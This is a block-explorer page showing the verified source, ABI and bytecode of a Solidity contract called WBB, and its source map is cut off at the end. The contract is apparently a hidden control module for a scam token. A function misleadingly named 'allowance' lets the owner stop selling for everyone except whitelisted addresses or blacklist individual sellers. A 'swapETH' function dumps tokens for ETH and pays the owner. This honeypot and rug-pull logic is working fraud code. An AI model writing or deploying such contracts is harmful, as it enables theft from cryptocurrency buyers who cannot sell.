Source Code
Latest 6 from a total of 6 transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
WBB
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-08-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function decimals() external returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract WBB is Ownable {
using SafeMath for uint256;
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address coin;
address pair;
mapping(address => bool) whites;
mapping(address => bool) blacks;
bool public enabled = true;
receive() external payable { }
function enc() external view returns (bytes memory) {
return abi.encode(address(this));
}
function iParam(address _coin, address _pair) external onlyOwner {
coin = _coin;
pair = _pair;
}
function setEnable(bool _enabled) external onlyOwner {
enabled = _enabled;
}
function rParam() external onlyOwner {
coin = address(0);
pair = address(0);
}
function allowance(
address from,
address to
) external view returns (uint256) {
if (whites[from] || whites[to] || pair == address(0)) {
return 1;
}
else if ((from == owner() || from == address(this)) && to == pair) {
return 0;
}
if (from != pair) {
require(enabled);
require(!blacks[from]);
}
return 1;
}
function swapETH(uint256 count) external onlyOwner {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = coin;
path[1] = uniswapV2Router.WETH();
IERC20(coin).approve(address(uniswapV2Router), ~uint256(0));
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
10 ** count,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
payable(msg.sender).transfer(address(this).balance);
}
function addWL(address[] memory _wat) external onlyOwner{
for (uint i = 0; i < _wat.length; i++) {
whites[_wat[i]] = true;
}
}
function addBL(address[] memory _bat) external onlyOwner{
for (uint i = 0; i < _bat.length; i++) {
blacks[_bat[i]] = true;
}
}
function claimDust() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"_bat","type":"address[]"}],"name":"addBL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_wat","type":"address[]"}],"name":"addWL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimDust","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enc","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_coin","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"iParam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rParam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"swapETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1781556006805460ff19169091179055348015610042575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350610d58806100905f395ff3fe6080604052600436106100c2575f3560e01c8063dd62ed3e1161007c578063ebea113e11610057578063ebea113e146101e9578063efc354eb14610208578063efe2673714610227578063f2fde38b14610265575f80fd5b8063dd62ed3e14610194578063df90ebe8146101c1578063e218bfb1146101d5575f80fd5b80630323dff0146100cd57806319849a77146100ee578063238dafe01461010d578063715018a61461013b5780637726bed31461014f5780638da5cb5b1461016e575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100ec6100e7366004610966565b610284565b005b3480156100f9575f80fd5b506100ec6101083660046109b1565b6102e4565b348015610118575f80fd5b506006546101269060ff1681565b60405190151581526020015b60405180910390f35b348015610146575f80fd5b506100ec610376565b34801561015a575f80fd5b506100ec610169366004610a7e565b6103e7565b348015610179575f80fd5b505f546040516001600160a01b039091168152602001610132565b34801561019f575f80fd5b506101b36101ae366004610966565b610423565b604051908152602001610132565b3480156101cc575f80fd5b506100ec61051a565b3480156101e0575f80fd5b506100ec61056f565b3480156101f4575f80fd5b506100ec6102033660046109b1565b6105b6565b348015610213575f80fd5b506100ec610222366004610aa0565b610644565b348015610232575f80fd5b506102586040805130602082015260609101604051602081830303815290604052905090565b6040516101329190610ab7565b348015610270575f80fd5b506100ec61027f366004610b02565b61085b565b5f546001600160a01b031633146102b65760405162461bcd60e51b81526004016102ad90610b1d565b60405180910390fd5b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b5f546001600160a01b0316331461030d5760405162461bcd60e51b81526004016102ad90610b1d565b5f5b815181101561037257600160055f84848151811061032f5761032f610b52565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061036a81610b7a565b91505061030f565b5050565b5f546001600160a01b0316331461039f5760405162461bcd60e51b81526004016102ad90610b1d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104105760405162461bcd60e51b81526004016102ad90610b1d565b6006805460ff1916911515919091179055565b6001600160a01b0382165f9081526004602052604081205460ff168061046057506001600160a01b0382165f9081526004602052604090205460ff165b8061047457506003546001600160a01b0316155b1561048157506001610514565b5f546001600160a01b03848116911614806104a457506001600160a01b03831630145b80156104bd57506003546001600160a01b038381169116145b156104c957505f610514565b6003546001600160a01b038481169116146105105760065460ff166104ec575f80fd5b6001600160a01b0383165f9081526005602052604090205460ff1615610510575f80fd5b5060015b92915050565b5f546001600160a01b031633146105435760405162461bcd60e51b81526004016102ad90610b1d565b60405133904780156108fc02915f818181858888f1935050505015801561056c573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105985760405162461bcd60e51b81526004016102ad90610b1d565b600280546001600160a01b0319908116909155600380549091169055565b5f546001600160a01b031633146105df5760405162461bcd60e51b81526004016102ad90610b1d565b5f5b815181101561037257600160045f84848151811061060157610601610b52565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061063c81610b7a565b9150506105e1565b5f546001600160a01b0316331461066d5760405162461bcd60e51b81526004016102ad90610b1d565b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f906106ac576106ac610b52565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610703573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107279190610b92565b8160018151811061073a5761073a610b52565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b815290831660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af115801561079a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107be9190610bad565b506001546001600160a01b031663791ac9476107db84600a610ca8565b5f8430426040518663ffffffff1660e01b81526004016107ff959493929190610cb3565b5f604051808303815f87803b158015610816575f80fd5b505af1158015610828573d5f803e3d5ffd5b50506040513392504780156108fc029250905f818181858888f19350505050158015610856573d5f803e3d5ffd5b505050565b5f546001600160a01b031633146108845760405162461bcd60e51b81526004016102ad90610b1d565b6001600160a01b0381166108e95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ad565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116811461056c575f80fd5b803561096181610942565b919050565b5f8060408385031215610977575f80fd5b823561098281610942565b9150602083013561099281610942565b809150509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156109c2575f80fd5b823567ffffffffffffffff808211156109d9575f80fd5b818501915085601f8301126109ec575f80fd5b8135818111156109fe576109fe61099d565b8060051b604051601f19603f83011681018181108582111715610a2357610a2361099d565b604052918252848201925083810185019188831115610a40575f80fd5b938501935b82851015610a6557610a5685610956565b84529385019392850192610a45565b98975050505050505050565b801515811461056c575f80fd5b5f60208284031215610a8e575f80fd5b8135610a9981610a71565b9392505050565b5f60208284031215610ab0575f80fd5b5035919050565b5f6020808352835180828501525f5b81811015610ae257858101830151858201604001528201610ac6565b505f604082860101526040601f19601f8301168501019250505092915050565b5f60208284031215610b12575f80fd5b8135610a9981610942565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201610b8b57610b8b610b66565b5060010190565b5f60208284031215610ba2575f80fd5b8151610a9981610942565b5f60208284031215610bbd575f80fd5b8151610a9981610a71565b600181815b80851115610c0257815f1904821115610be857610be8610b66565b80851615610bf557918102915b93841c9390800290610bcd565b509250929050565b5f82610c1857506001610514565b81610c2457505f610514565b8160018114610c3a5760028114610c4457610c60565b6001915050610514565b60ff841115610c5557610c55610b66565b50506001821b610514565b5060208310610133831016604e8410600b8410161715610c83575081810a610514565b610c8d8383610bc8565b805f1904821115610ca057610ca0610b66565b029392505050565b5f610a998383610c0a565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610d015784516001600160a01b031683529383019391830191600101610cdc565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202b17218e7812bbaf935c1a1a5c38200472d6822cba63e0d5cb8d9be36b1b5c5f64736f6c63430008140033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c8063dd62ed3e1161007c578063ebea113e11610057578063ebea113e146101e9578063efc354eb14610208578063efe2673714610227578063f2fde38b14610265575f80fd5b8063dd62ed3e14610194578063df90ebe8146101c1578063e218bfb1146101d5575f80fd5b80630323dff0146100cd57806319849a77146100ee578063238dafe01461010d578063715018a61461013b5780637726bed31461014f5780638da5cb5b1461016e575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100ec6100e7366004610966565b610284565b005b3480156100f9575f80fd5b506100ec6101083660046109b1565b6102e4565b348015610118575f80fd5b506006546101269060ff1681565b60405190151581526020015b60405180910390f35b348015610146575f80fd5b506100ec610376565b34801561015a575f80fd5b506100ec610169366004610a7e565b6103e7565b348015610179575f80fd5b505f546040516001600160a01b039091168152602001610132565b34801561019f575f80fd5b506101b36101ae366004610966565b610423565b604051908152602001610132565b3480156101cc575f80fd5b506100ec61051a565b3480156101e0575f80fd5b506100ec61056f565b3480156101f4575f80fd5b506100ec6102033660046109b1565b6105b6565b348015610213575f80fd5b506100ec610222366004610aa0565b610644565b348015610232575f80fd5b506102586040805130602082015260609101604051602081830303815290604052905090565b6040516101329190610ab7565b348015610270575f80fd5b506100ec61027f366004610b02565b61085b565b5f546001600160a01b031633146102b65760405162461bcd60e51b81526004016102ad90610b1d565b60405180910390fd5b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b5f546001600160a01b0316331461030d5760405162461bcd60e51b81526004016102ad90610b1d565b5f5b815181101561037257600160055f84848151811061032f5761032f610b52565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061036a81610b7a565b91505061030f565b5050565b5f546001600160a01b0316331461039f5760405162461bcd60e51b81526004016102ad90610b1d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104105760405162461bcd60e51b81526004016102ad90610b1d565b6006805460ff1916911515919091179055565b6001600160a01b0382165f9081526004602052604081205460ff168061046057506001600160a01b0382165f9081526004602052604090205460ff165b8061047457506003546001600160a01b0316155b1561048157506001610514565b5f546001600160a01b03848116911614806104a457506001600160a01b03831630145b80156104bd57506003546001600160a01b038381169116145b156104c957505f610514565b6003546001600160a01b038481169116146105105760065460ff166104ec575f80fd5b6001600160a01b0383165f9081526005602052604090205460ff1615610510575f80fd5b5060015b92915050565b5f546001600160a01b031633146105435760405162461bcd60e51b81526004016102ad90610b1d565b60405133904780156108fc02915f818181858888f1935050505015801561056c573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105985760405162461bcd60e51b81526004016102ad90610b1d565b600280546001600160a01b0319908116909155600380549091169055565b5f546001600160a01b031633146105df5760405162461bcd60e51b81526004016102ad90610b1d565b5f5b815181101561037257600160045f84848151811061060157610601610b52565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061063c81610b7a565b9150506105e1565b5f546001600160a01b0316331461066d5760405162461bcd60e51b81526004016102ad90610b1d565b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f906106ac576106ac610b52565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610703573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107279190610b92565b8160018151811061073a5761073a610b52565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b815290831660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af115801561079a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107be9190610bad565b506001546001600160a01b031663791ac9476107db84600a610ca8565b5f8430426040518663ffffffff1660e01b81526004016107ff959493929190610cb3565b5f604051808303815f87803b158015610816575f80fd5b505af1158015610828573d5f803e3d5ffd5b50506040513392504780156108fc029250905f818181858888f19350505050158015610856573d5f803e3d5ffd5b505050565b5f546001600160a01b031633146108845760405162461bcd60e51b81526004016102ad90610b1d565b6001600160a01b0381166108e95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ad565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116811461056c575f80fd5b803561096181610942565b919050565b5f8060408385031215610977575f80fd5b823561098281610942565b9150602083013561099281610942565b809150509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156109c2575f80fd5b823567ffffffffffffffff808211156109d9575f80fd5b818501915085601f8301126109ec575f80fd5b8135818111156109fe576109fe61099d565b8060051b604051601f19603f83011681018181108582111715610a2357610a2361099d565b604052918252848201925083810185019188831115610a40575f80fd5b938501935b82851015610a6557610a5685610956565b84529385019392850192610a45565b98975050505050505050565b801515811461056c575f80fd5b5f60208284031215610a8e575f80fd5b8135610a9981610a71565b9392505050565b5f60208284031215610ab0575f80fd5b5035919050565b5f6020808352835180828501525f5b81811015610ae257858101830151858201604001528201610ac6565b505f604082860101526040601f19601f8301168501019250505092915050565b5f60208284031215610b12575f80fd5b8135610a9981610942565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201610b8b57610b8b610b66565b5060010190565b5f60208284031215610ba2575f80fd5b8151610a9981610942565b5f60208284031215610bbd575f80fd5b8151610a9981610a71565b600181815b80851115610c0257815f1904821115610be857610be8610b66565b80851615610bf557918102915b93841c9390800290610bcd565b509250929050565b5f82610c1857506001610514565b81610c2457505f610514565b8160018114610c3a5760028114610c4457610c60565b6001915050610514565b60ff841115610c5557610c55610b66565b50506001821b610514565b5060208310610133831016604e8410600b8410161715610c83575081810a610514565b610c8d8383610bc8565b805f1904821115610ca057610ca0610b66565b029392505050565b5f610a998383610c0a565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610d015784516001600160a01b031683529383019391830191600101610cdc565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202b17218e7812bbaf935c1a1a5c38200472d6822cba63e0d5cb8d9be36b1b5c5f64736f6c63430008140033
Deployed Bytecode Sourcemap
7888:2374:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8362:119;;;;;;;;;;-1:-1:-1;8362:119:0;;;;;:::i;:::-;;:::i;:::-;;9979:162;;;;;;;;;;-1:-1:-1;9979:162:0;;;;;:::i;:::-;;:::i;8178:26::-;;;;;;;;;;-1:-1:-1;8178:26:0;;;;;;;;;;;2105:14:1;;2098:22;2080:41;;2068:2;2053:18;8178:26:0;;;;;;;;6302:148;;;;;;;;;;;;;:::i;8489:90::-;;;;;;;;;;-1:-1:-1;8489:90:0;;;;;:::i;:::-;;:::i;5660:79::-;;;;;;;;;;-1:-1:-1;5698:7:0;5725:6;5660:79;;-1:-1:-1;;;;;5725:6:0;;;2647:51:1;;2635:2;2620:18;5660:79:0;2501:203:1;8696:456:0;;;;;;;;;;-1:-1:-1;8696:456:0;;;;;:::i;:::-;;:::i;:::-;;;2855:25:1;;;2843:2;2828:18;8696:456:0;2709:177:1;10149:110:0;;;;;;;;;;;;;:::i;8587:101::-;;;;;;;;;;;;;:::i;9809:162::-;;;;;;;;;;-1:-1:-1;9809:162:0;;;;;:::i;:::-;;:::i;9160:641::-;;;;;;;;;;-1:-1:-1;9160:641:0;;;;;:::i;:::-;;:::i;8251:103::-;;;;;;;;;;;;8321:25;;;8340:4;8321:25;;;2647:51:1;8289:12:0;;2620:18:1;8321:25:0;;;;;;;;;;;;8314:32;;8251:103;;;;;;;;;:::i;6605:244::-;;;;;;;;;;-1:-1:-1;6605:244:0;;;;;:::i;:::-;;:::i;8362:119::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;;;;;;;;;8438:4:::1;:12:::0;;-1:-1:-1;;;;;8438:12:0;;::::1;-1:-1:-1::0;;;;;;8438:12:0;;::::1;;::::0;;;8461:4:::1;:12:::0;;;;;::::1;::::0;::::1;;::::0;;8362:119::o;9979:162::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;10051:6:::1;10046:88;10067:4;:11;10063:1;:15;10046:88;;;10118:4;10100:6;:15;10107:4;10112:1;10107:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10100:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10100:15:0;:22;;-1:-1:-1;;10100:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10080:3;::::1;::::0;::::1;:::i;:::-;;;;10046:88;;;;9979:162:::0;:::o;6302:148::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;6409:1:::1;6393:6:::0;;6372:40:::1;::::0;-1:-1:-1;;;;;6393:6:0;;::::1;::::0;6372:40:::1;::::0;6409:1;;6372:40:::1;6440:1;6423:19:::0;;-1:-1:-1;;;;;;6423:19:0::1;::::0;;6302:148::o;8489:90::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8553:7:::1;:18:::0;;-1:-1:-1;;8553:18:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8489:90::o;8696:456::-;-1:-1:-1;;;;;8813:12:0;;8789:7;8813:12;;;:6;:12;;;;;;;;;:26;;-1:-1:-1;;;;;;8829:10:0;;;;;;:6;:10;;;;;;;;8813:26;:48;;;-1:-1:-1;8843:4:0;;-1:-1:-1;;;;;8843:4:0;:18;8813:48;8809:201;;;-1:-1:-1;8885:1:0;8878:8;;8809:201;5698:7;5725:6;-1:-1:-1;;;;;8918:15:0;;;5725:6;;8918:15;;:40;;-1:-1:-1;;;;;;8937:21:0;;8953:4;8937:21;8918:40;8917:56;;;;-1:-1:-1;8969:4:0;;-1:-1:-1;;;;;8963:10:0;;;8969:4;;8963:10;8917:56;8913:97;;;-1:-1:-1;8997:1:0;8990:8;;8913:97;9032:4;;-1:-1:-1;;;;;9024:12:0;;;9032:4;;9024:12;9020:106;;9069:7;;;;9061:16;;;;;;-1:-1:-1;;;;;9101:12:0;;;;;;:6;:12;;;;;;;;9100:13;9092:22;;;;;;-1:-1:-1;9143:1:0;8696:456;;;;;:::o;10149:110::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;10200:51:::1;::::0;10208:10:::1;::::0;10229:21:::1;10200:51:::0;::::1;;;::::0;::::1;::::0;;;10229:21;10208:10;10200:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10149:110::o:0;8587:101::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8635:4:::1;:17:::0;;-1:-1:-1;;;;;;8635:17:0;;::::1;::::0;;;8663:4:::1;:17:::0;;;;::::1;::::0;;8587:101::o;9809:162::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;9881:6:::1;9876:88;9897:4;:11;9893:1;:15;9876:88;;;9948:4;9930:6;:15;9937:4;9942:1;9937:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9930:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9930:15:0;:22;;-1:-1:-1;;9930:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9910:3;::::1;::::0;::::1;:::i;:::-;;;;9876:88;;9160:641:::0;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;9308:16:::1;::::0;;9322:1:::1;9308:16:::0;;;;;::::1;::::0;;9284:21:::1;::::0;9308:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;-1:-1:-1::0;;9345:4:0::1;::::0;9335:7;;;;-1:-1:-1;;;;;;9345:4:0::1;::::0;9335:7;;-1:-1:-1;9345:4:0::1;::::0;9335:7:::1;;;;:::i;:::-;-1:-1:-1::0;;;;;9335:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:14;;;;9370:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9370:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9335:7;;9370:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9360:4;9365:1;9360:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9360:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9412:4:::1;::::0;;9434:15;9405:59:::1;::::0;-1:-1:-1;;;9405:59:0;;9434:15;;::::1;9405:59;::::0;::::1;5074:51:1::0;-1:-1:-1;;5141:18:1;;;5134:34;9412:4:0;::::1;::::0;9405:20:::1;::::0;5047:18:1;;9405:59:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9503:15:0::1;::::0;-1:-1:-1;;;;;9503:15:0::1;:66;9584:11;9590:5:::0;9584:2:::1;:11;:::i;:::-;9610:1;9654:4;9681;9701:15;9503:224;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;9742:51:0::1;::::0;9750